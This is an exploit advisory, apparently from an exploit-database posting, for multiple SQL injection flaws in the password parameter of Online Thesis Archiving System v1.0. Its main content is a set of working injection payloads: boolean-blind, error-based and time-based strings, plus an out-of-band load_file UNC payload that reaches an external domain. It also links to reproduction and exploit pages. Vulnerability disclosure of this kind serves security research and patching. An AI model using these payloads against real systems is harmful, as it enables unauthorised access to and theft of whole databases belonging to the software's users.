## Exploit Title: Online Thesis Archiving System v1.0 - Multiple-SQLi
## Author: nu11secur1ty
## Date: 06.12.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/15083/online-thesis-archiving-system-using-phpoop-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The password parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\t5z7nwb485tiyvqzqnv3hp1z3q9jxatyk18tvkj9.tupungerispanski.com\\ock'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain. The application interacted with that domain, indicating that
the injected SQL query was executed. The attacker can dump all
information from the
database of this system, and then he can use it for dangerous and
malicious purposes!

STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```mysql
---
Parameter: password (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: [email protected]&password=v7K!u1n!T7')
OR NOT 1404=1404-- Eotr

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: [email protected]&password=v7K!u1n!T7')
AND (SELECT 5476 FROM(SELECT COUNT(*),CONCAT(0x717a6b6b71,(SELECT
(ELT(5476=5476,1))),0x71766a7a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sOUa

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]&password=v7K!u1n!T7')
AND (SELECT 6301 FROM (SELECT(SLEEP(15)))MFgI)-- HCqY
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/OTAS-v1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/06/otas-php-by-oretnom23-v10-multiple-sqli.html)

## Time spend:
01:15:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>